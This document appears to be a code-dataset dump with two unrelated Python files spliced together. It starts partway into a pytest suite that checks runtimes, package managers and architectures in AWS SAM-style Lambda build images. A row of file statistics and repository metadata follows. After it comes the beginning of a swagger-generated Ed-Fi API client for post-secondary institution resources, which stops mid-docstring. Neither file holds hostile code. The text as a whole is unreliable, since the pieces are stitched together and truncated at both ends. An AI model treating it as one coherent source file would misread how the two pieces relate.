self.assertTrue(self.is_package_present("mvn"))
self.assertTrue(self.is_package_present("gradle"))
self.assertTrue(self.is_architecture("x86_64"))
@pytest.mark.java8_al2
class TestBIJava8AL2(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("java8.al2", "Dockerfile-java8-al2", "gradle", tag="x86_64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(
self.check_package_output("java -version", 'openjdk version "1.8', True)
)
self.assertTrue(self.is_package_present("mvn"))
self.assertTrue(self.is_package_present("gradle"))
self.assertTrue(self.is_architecture("x86_64"))
@pytest.mark.java8_al2
class TestBIJava8AL2ForArm(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("java8.al2", "Dockerfile-java8-al2", "gradle", tag="arm64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(
self.check_package_output("java -version", 'openjdk version "1.8', True)
)
self.assertTrue(self.is_package_present("mvn"))
self.assertTrue(self.is_package_present("gradle"))
self.assertTrue(self.is_architecture("aarch64"))
@pytest.mark.java11
class TestBIJava11(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("java11", "Dockerfile-java11", "maven", tag="x86_64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(
self.check_package_output("java -version", 'openjdk version "11.0.', True)
)
self.assertTrue(self.is_package_present("mvn"))
self.assertTrue(self.is_package_present("gradle"))
self.assertTrue(self.is_architecture("x86_64"))
@pytest.mark.java11
class TestBIJava11ForArm(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("java11", "Dockerfile-java11", "maven", tag="arm64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(
self.check_package_output("java -version", 'openjdk version "11.0.', True)
)
self.assertTrue(self.is_package_present("mvn"))
self.assertTrue(self.is_package_present("gradle"))
self.assertTrue(self.is_architecture("aarch64"))
@pytest.mark.nodejs10x
class TestBINode10(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("nodejs10.x", "Dockerfile-nodejs10x", "npm")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("node --version", "v10."))
self.assertTrue(self.is_package_present("npm"))
self.assertTrue(self.is_architecture("x86_64"))
@pytest.mark.nodejs12x
class TestBINode12(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("nodejs12.x", "Dockerfile-nodejs12x", "npm", tag="x86_64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("node --version", "v12."))
self.assertTrue(self.is_package_present("npm"))
self.assertTrue(self.is_architecture("x86_64"))
@pytest.mark.nodejs12x
class TestBINode12ForArm(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("nodejs12.x", "Dockerfile-nodejs12x", "npm", tag="arm64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("node --version", "v12."))
self.assertTrue(self.is_package_present("npm"))
self.assertTrue(self.is_architecture("aarch64"))
@pytest.mark.nodejs14x
class TestBINode14(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("nodejs14.x", "Dockerfile-nodejs14x", "npm", tag="x86_64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("node --version", "v14."))
self.assertTrue(self.is_package_present("npm"))
self.assertTrue(self.is_architecture("x86_64"))
@pytest.mark.nodejs14x
class TestBINode14ForArm(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("nodejs14.x", "Dockerfile-nodejs14x", "npm", tag="arm64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("node --version", "v14."))
self.assertTrue(self.is_package_present("npm"))
self.assertTrue(self.is_architecture("aarch64"))
@pytest.mark.python27
class TestBIPython27(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("python2.7", "Dockerfile-python27", "pip")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(
self.check_package_output("python --version", "Python 2.7.", True)
)
self.assertTrue(self.is_package_present("pip"))
self.assertTrue(self.is_architecture("x86_64"))
@pytest.mark.python36
class TestBIPython36(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("python3.6", "Dockerfile-python36", "pip")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("python --version", "Python 3.6."))
self.assertTrue(self.is_package_present("pip"))
self.assertTrue(self.is_architecture("x86_64"))
@pytest.mark.python37
class TestBIPython37(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("python3.7", "Dockerfile-python37", "pip")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("python --version", "Python 3.7."))
self.assertTrue(self.is_package_present("pip"))
self.assertTrue(self.is_architecture("x86_64"))
@pytest.mark.python38
class TestBIPython38(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("python3.8", "Dockerfile-python38", "pip", tag="x86_64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("python --version", "Python 3.8."))
self.assertTrue(self.is_package_present("pip"))
self.assertTrue(self.is_architecture("x86_64"))
@pytest.mark.python38
class TestBIPython38ForArm(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("python3.8", "Dockerfile-python38", "pip", tag="arm64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("python --version", "Python 3.8."))
self.assertTrue(self.is_package_present("pip"))
self.assertTrue(self.is_architecture("aarch64"))
@pytest.mark.python39
class TestBIPython39(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("python3.9", "Dockerfile-python39", "pip", tag="x86_64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("python --version", "Python 3.9."))
self.assertTrue(self.is_package_present("pip"))
@pytest.mark.python39
class TestBIPython39ForArm(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("python3.9", "Dockerfile-python39", "pip", tag="arm64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("python --version", "Python 3.9."))
self.assertTrue(self.is_package_present("pip"))
@pytest.mark.dotnetcore31
class TestBIDotNetCore31(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("dotnetcore3.1", "Dockerfile-dotnetcore31", tag="x86_64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("dotnet --version", "3.1"))
self.assertTrue(self.is_package_present("dotnet"))
@pytest.mark.dotnetcore31
class TestBIDotNetCore31Arm(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("dotnetcore3.1", "Dockerfile-dotnetcore31", tag="arm64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("dotnet --version", "3.1"))
self.assertTrue(self.is_package_present("dotnet"))
@pytest.mark.ruby25
class TestBIRuby25(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("ruby2.5", "Dockerfile-ruby25", "bundler")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("ruby --version", "ruby 2.5."))
self.assertTrue(self.is_package_present("bundler"))
self.assertTrue(self.is_package_present("gem"))
self.assertTrue(self.is_architecture("x86_64"))
@pytest.mark.ruby27
class TestBIRuby27(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("ruby2.7", "Dockerfile-ruby27", "bundler", tag="x86_64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("ruby --version", "ruby 2.7."))
self.assertTrue(self.is_package_present("bundler"))
self.assertTrue(self.is_package_present("gem"))
self.assertTrue(self.is_architecture("x86_64"))
@pytest.mark.ruby27
class TestBIRuby27ForArm(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("ruby2.7", "Dockerfile-ruby27", "bundler", tag="arm64")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("ruby --version", "ruby 2.7."))
self.assertTrue(self.is_package_present("bundler"))
self.assertTrue(self.is_package_present("gem"))
self.assertTrue(self.is_architecture("aarch64"))
@pytest.mark.go1x
class TestBIGo1(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("go1.x", "Dockerfile-go1x", "mod")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(self.check_package_output("go version", "go1."))
self.assertTrue(self.is_package_present("go"))
@pytest.mark.provided
class TestBIProvided(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("provided", "Dockerfile-provided")
@pytest.mark.provided_al2
class TestBIProvidedAL2(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("provided.al2", "Dockerfile-provided-al2", tag="x86_64")
def test_architecture(self):
"""
Test architecture of this build image
"""
self.assertTrue(self.is_architecture("x86_64"))
@pytest.mark.provided_al2
class TestBIProvidedAL2ForArm(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("provided.al2", "Dockerfile-provided-al2", tag="arm64")
def test_architecture(self):
"""
Test architecture of this build image
"""
self.assertTrue(self.is_architecture("aarch64"))
| 29.147651 | 87 | 0.65454 | 1,421 | 13,029 | 5.800141 | 0.081633 | 0.125698 | 0.161611 | 0.123756 | 0.892017 | 0.886314 | 0.881339 | 0.880733 | 0.876608 | 0.851492 | 0 | 0.034301 | 0.214598 | 13,029 | 446 | 88 | 29.213004 | 0.771133 | 0.081664 | 0 | 0.72119 | 0 | 0 | 0.152691 | 0.008078 | 0 | 0 | 0 | 0 | 0.275093 | 1 | 0.189591 | false | 0 | 0.007435 | 0 | 0.390335 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ac745e4e9d6f8899456a60f6eb730f112fe36adb | 38,989 | py | Python | src/v5.3/resources/swagger_client/api/post_secondary_institutions_api.py | xmarcosx/edfi-notebook | 0564ebdf1d0f45a9d25056e7e61369f0a837534d | [
"Apache-2.0"
] | 2 | 2021-04-27T17:18:17.000Z | 2021-04-27T19:14:39.000Z | src/v5.3/resources/swagger_client/api/post_secondary_institutions_api.py | xmarcosx/edfi-notebook | 0564ebdf1d0f45a9d25056e7e61369f0a837534d | [
"Apache-2.0"
] | null | null | null | src/v5.3/resources/swagger_client/api/post_secondary_institutions_api.py | xmarcosx/edfi-notebook | 0564ebdf1d0f45a9d25056e7e61369f0a837534d | [
"Apache-2.0"
] | 1 | 2022-01-06T09:43:11.000Z | 2022-01-06T09:43:11.000Z | # coding: utf-8
"""
Ed-Fi Operational Data Store API
The Ed-Fi ODS / API enables applications to read and write education data stored in an Ed-Fi ODS through a secure REST interface. *** > *Note: Consumers of ODS / API information should sanitize all data for display and storage. The ODS / API provides reasonable safeguards against cross-site scripting attacks and other malicious content, but the platform does not and cannot guarantee that the data it contains is free of all potentially harmful content.* *** # noqa: E501
OpenAPI spec version: 3
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from swagger_client.api_client import ApiClient
class PostSecondaryInstitutionsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def delete_post_secondary_institution_by_id(self, id, **kwargs): # noqa: E501
"""Deletes an existing resource using the resource identifier. # noqa: E501
The DELETE operation is used to delete an existing resource by identifier. If the resource doesn't exist, an error will result (the resource will not be found). # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_post_secondary_institution_by_id(id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str id: A resource identifier that uniquely identifies the resource. (required)
:param str if_match: The ETag header value used to prevent the DELETE from removing a resource modified by another consumer.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_post_secondary_institution_by_id_with_http_info(id, **kwargs) # noqa: E501
else:
(data) = self.delete_post_secondary_institution_by_id_with_http_info(id, **kwargs) # noqa: E501
return data
def delete_post_secondary_institution_by_id_with_http_info(self, id, **kwargs): # noqa: E501
"""Deletes an existing resource using the resource identifier. # noqa: E501
The DELETE operation is used to delete an existing resource by identifier. If the resource doesn't exist, an error will result (the resource will not be found). # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_post_secondary_institution_by_id_with_http_info(id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str id: A resource identifier that uniquely identifies the resource. (required)
:param str if_match: The ETag header value used to prevent the DELETE from removing a resource modified by another consumer.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'if_match'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_post_secondary_institution_by_id" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in params or
params['id'] is None): # noqa: E501
raise ValueError("Missing the required parameter `id` when calling `delete_post_secondary_institution_by_id`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in params:
path_params['id'] = params['id'] # noqa: E501
query_params = []
header_params = {}
if 'if_match' in params:
header_params['If-Match'] = params['if_match'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2_client_credentials'] # noqa: E501
return self.api_client.call_api(
'/ed-fi/postSecondaryInstitutions/{id}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def deletes_post_secondary_institutions(self, **kwargs): # noqa: E501
"""Retrieves deleted resources based on change version. # noqa: E501
The DELETES operation is used to retrieve deleted resources. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.deletes_post_secondary_institutions(async_req=True)
>>> result = thread.get()
:param async_req bool
:param int offset: Indicates how many items should be skipped before returning results.
:param int limit: Indicates the maximum number of items that should be returned in the results.
:param int min_change_version: Used in synchronization to set sequence minimum ChangeVersion
:param int max_change_version: Used in synchronization to set sequence maximum ChangeVersion
:param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used.
:return: list[DeletedResource]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.deletes_post_secondary_institutions_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.deletes_post_secondary_institutions_with_http_info(**kwargs) # noqa: E501
return data
def deletes_post_secondary_institutions_with_http_info(self, **kwargs): # noqa: E501
"""Retrieves deleted resources based on change version. # noqa: E501
The DELETES operation is used to retrieve deleted resources. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.deletes_post_secondary_institutions_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param int offset: Indicates how many items should be skipped before returning results.
:param int limit: Indicates the maximum number of items that should be returned in the results.
:param int min_change_version: Used in synchronization to set sequence minimum ChangeVersion
:param int max_change_version: Used in synchronization to set sequence maximum ChangeVersion
:param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used.
:return: list[DeletedResource]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['offset', 'limit', 'min_change_version', 'max_change_version', 'snapshot_identifier'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method deletes_post_secondary_institutions" % key
)
params[key] = val
del params['kwargs']
if self.api_client.client_side_validation and ('limit' in params and params['limit'] > 500): # noqa: E501
raise ValueError("Invalid value for parameter `limit` when calling `deletes_post_secondary_institutions`, must be a value less than or equal to `500`") # noqa: E501
if self.api_client.client_side_validation and ('limit' in params and params['limit'] < 0): # noqa: E501
raise ValueError("Invalid value for parameter `limit` when calling `deletes_post_secondary_institutions`, must be a value greater than or equal to `0`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
if 'offset' in params:
query_params.append(('offset', params['offset'])) # noqa: E501
if 'limit' in params:
query_params.append(('limit', params['limit'])) # noqa: E501
if 'min_change_version' in params:
query_params.append(('minChangeVersion', params['min_change_version'])) # noqa: E501
if 'max_change_version' in params:
query_params.append(('maxChangeVersion', params['max_change_version'])) # noqa: E501
header_params = {}
if 'snapshot_identifier' in params:
header_params['Snapshot-Identifier'] = params['snapshot_identifier'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2_client_credentials'] # noqa: E501
return self.api_client.call_api(
'/ed-fi/postSecondaryInstitutions/deletes', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[DeletedResource]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_post_secondary_institutions(self, **kwargs): # noqa: E501
"""Retrieves specific resources using the resource's property values (using the \"Get\" pattern). # noqa: E501
This GET operation provides access to resources using the \"Get\" search pattern. The values of any properties of the resource that are specified will be used to return all matching results (if it exists). # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_post_secondary_institutions(async_req=True)
>>> result = thread.get()
:param async_req bool
:param int offset: Indicates how many items should be skipped before returning results.
:param int limit: Indicates the maximum number of items that should be returned in the results.
:param int min_change_version: Used in synchronization to set sequence minimum ChangeVersion
:param int max_change_version: Used in synchronization to set sequence maximum ChangeVersion
:param bool total_count: Indicates if the total number of items available should be returned in the 'Total-Count' header of the response. If set to false, 'Total-Count' header will not be provided.
:param int post_secondary_institution_id: The ID of the post secondary institution.
:param str administrative_funding_control_descriptor: A classification of whether a postsecondary institution is operated by publicly elected or appointed officials (public control) or by privately elected or appointed officials and derives its major source of funds from private sources (private control).
:param str post_secondary_institution_level_descriptor: A classification of whether a post secondary institution's highest level of offering is a program of 4-years or higher (4 year), 2-but-less-than 4-years (2 year), or less than 2-years.
:param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used.
:return: list[EdFiPostSecondaryInstitution]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_post_secondary_institutions_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_post_secondary_institutions_with_http_info(**kwargs) # noqa: E501
return data
def get_post_secondary_institutions_with_http_info(self, **kwargs): # noqa: E501
"""Retrieves specific resources using the resource's property values (using the \"Get\" pattern). # noqa: E501
This GET operation provides access to resources using the \"Get\" search pattern. The values of any properties of the resource that are specified will be used to return all matching results (if it exists). # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_post_secondary_institutions_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param int offset: Indicates how many items should be skipped before returning results.
:param int limit: Indicates the maximum number of items that should be returned in the results.
:param int min_change_version: Used in synchronization to set sequence minimum ChangeVersion
:param int max_change_version: Used in synchronization to set sequence maximum ChangeVersion
:param bool total_count: Indicates if the total number of items available should be returned in the 'Total-Count' header of the response. If set to false, 'Total-Count' header will not be provided.
:param int post_secondary_institution_id: The ID of the post secondary institution.
:param str administrative_funding_control_descriptor: A classification of whether a postsecondary institution is operated by publicly elected or appointed officials (public control) or by privately elected or appointed officials and derives its major source of funds from private sources (private control).
:param str post_secondary_institution_level_descriptor: A classification of whether a post secondary institution's highest level of offering is a program of 4-years or higher (4 year), 2-but-less-than 4-years (2 year), or less than 2-years.
:param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used.
:return: list[EdFiPostSecondaryInstitution]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['offset', 'limit', 'min_change_version', 'max_change_version', 'total_count', 'post_secondary_institution_id', 'administrative_funding_control_descriptor', 'post_secondary_institution_level_descriptor', 'snapshot_identifier'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_post_secondary_institutions" % key
)
params[key] = val
del params['kwargs']
if self.api_client.client_side_validation and ('limit' in params and params['limit'] > 500): # noqa: E501
raise ValueError("Invalid value for parameter `limit` when calling `get_post_secondary_institutions`, must be a value less than or equal to `500`") # noqa: E501
if self.api_client.client_side_validation and ('limit' in params and params['limit'] < 0): # noqa: E501
raise ValueError("Invalid value for parameter `limit` when calling `get_post_secondary_institutions`, must be a value greater than or equal to `0`") # noqa: E501
if self.api_client.client_side_validation and ('administrative_funding_control_descriptor' in params and
len(params['administrative_funding_control_descriptor']) > 306):
raise ValueError("Invalid value for parameter `administrative_funding_control_descriptor` when calling `get_post_secondary_institutions`, length must be less than or equal to `306`") # noqa: E501
if self.api_client.client_side_validation and ('post_secondary_institution_level_descriptor' in params and
len(params['post_secondary_institution_level_descriptor']) > 306):
raise ValueError("Invalid value for parameter `post_secondary_institution_level_descriptor` when calling `get_post_secondary_institutions`, length must be less than or equal to `306`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
if 'offset' in params:
query_params.append(('offset', params['offset'])) # noqa: E501
if 'limit' in params:
query_params.append(('limit', params['limit'])) # noqa: E501
if 'min_change_version' in params:
query_params.append(('minChangeVersion', params['min_change_version'])) # noqa: E501
if 'max_change_version' in params:
query_params.append(('maxChangeVersion', params['max_change_version'])) # noqa: E501
if 'total_count' in params:
query_params.append(('totalCount', params['total_count'])) # noqa: E501
if 'post_secondary_institution_id' in params:
query_params.append(('postSecondaryInstitutionId', params['post_secondary_institution_id'])) # noqa: E501
if 'administrative_funding_control_descriptor' in params:
query_params.append(('administrativeFundingControlDescriptor', params['administrative_funding_control_descriptor'])) # noqa: E501
if 'post_secondary_institution_level_descriptor' in params:
query_params.append(('postSecondaryInstitutionLevelDescriptor', params['post_secondary_institution_level_descriptor'])) # noqa: E501
header_params = {}
if 'snapshot_identifier' in params:
header_params['Snapshot-Identifier'] = params['snapshot_identifier'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2_client_credentials'] # noqa: E501
return self.api_client.call_api(
'/ed-fi/postSecondaryInstitutions', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[EdFiPostSecondaryInstitution]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_post_secondary_institutions_by_id(self, id, **kwargs): # noqa: E501
"""Retrieves a specific resource using the resource's identifier (using the \"Get By Id\" pattern). # noqa: E501
This GET operation retrieves a resource by the specified resource identifier. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_post_secondary_institutions_by_id(id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str id: A resource identifier that uniquely identifies the resource. (required)
:param str if_none_match: The previously returned ETag header value, used here to prevent the unnecessary data transfer of an unchanged resource.
:param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used.
:return: EdFiPostSecondaryInstitution
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_post_secondary_institutions_by_id_with_http_info(id, **kwargs) # noqa: E501
else:
(data) = self.get_post_secondary_institutions_by_id_with_http_info(id, **kwargs) # noqa: E501
return data
def get_post_secondary_institutions_by_id_with_http_info(self, id, **kwargs): # noqa: E501
"""Retrieves a specific resource using the resource's identifier (using the \"Get By Id\" pattern). # noqa: E501
This GET operation retrieves a resource by the specified resource identifier. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_post_secondary_institutions_by_id_with_http_info(id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str id: A resource identifier that uniquely identifies the resource. (required)
:param str if_none_match: The previously returned ETag header value, used here to prevent the unnecessary data transfer of an unchanged resource.
:param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used.
:return: EdFiPostSecondaryInstitution
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'if_none_match', 'snapshot_identifier'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_post_secondary_institutions_by_id" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in params or
params['id'] is None): # noqa: E501
raise ValueError("Missing the required parameter `id` when calling `get_post_secondary_institutions_by_id`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in params:
path_params['id'] = params['id'] # noqa: E501
query_params = []
header_params = {}
if 'if_none_match' in params:
header_params['If-None-Match'] = params['if_none_match'] # noqa: E501
if 'snapshot_identifier' in params:
header_params['Snapshot-Identifier'] = params['snapshot_identifier'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2_client_credentials'] # noqa: E501
return self.api_client.call_api(
'/ed-fi/postSecondaryInstitutions/{id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='EdFiPostSecondaryInstitution', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def post_post_secondary_institution(self, post_secondary_institution, **kwargs): # noqa: E501
"""Creates or updates resources based on the natural key values of the supplied resource. # noqa: E501
The POST operation can be used to create or update resources. In database terms, this is often referred to as an \"upsert\" operation (insert + update). Clients should NOT include the resource \"id\" in the JSON body because it will result in an error. The web service will identify whether the resource already exists based on the natural key values provided, and update or create the resource appropriately. It is recommended to use POST for both create and update except while updating natural key of a resource in which case PUT operation must be used. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_post_secondary_institution(post_secondary_institution, async_req=True)
>>> result = thread.get()
:param async_req bool
:param EdFiPostSecondaryInstitution post_secondary_institution: The JSON representation of the \"postSecondaryInstitution\" resource to be created or updated. (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.post_post_secondary_institution_with_http_info(post_secondary_institution, **kwargs) # noqa: E501
else:
(data) = self.post_post_secondary_institution_with_http_info(post_secondary_institution, **kwargs) # noqa: E501
return data
def post_post_secondary_institution_with_http_info(self, post_secondary_institution, **kwargs): # noqa: E501
"""Creates or updates resources based on the natural key values of the supplied resource. # noqa: E501
The POST operation can be used to create or update resources. In database terms, this is often referred to as an \"upsert\" operation (insert + update). Clients should NOT include the resource \"id\" in the JSON body because it will result in an error. The web service will identify whether the resource already exists based on the natural key values provided, and update or create the resource appropriately. It is recommended to use POST for both create and update except while updating natural key of a resource in which case PUT operation must be used. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_post_secondary_institution_with_http_info(post_secondary_institution, async_req=True)
>>> result = thread.get()
:param async_req bool
:param EdFiPostSecondaryInstitution post_secondary_institution: The JSON representation of the \"postSecondaryInstitution\" resource to be created or updated. (required)
:return: None
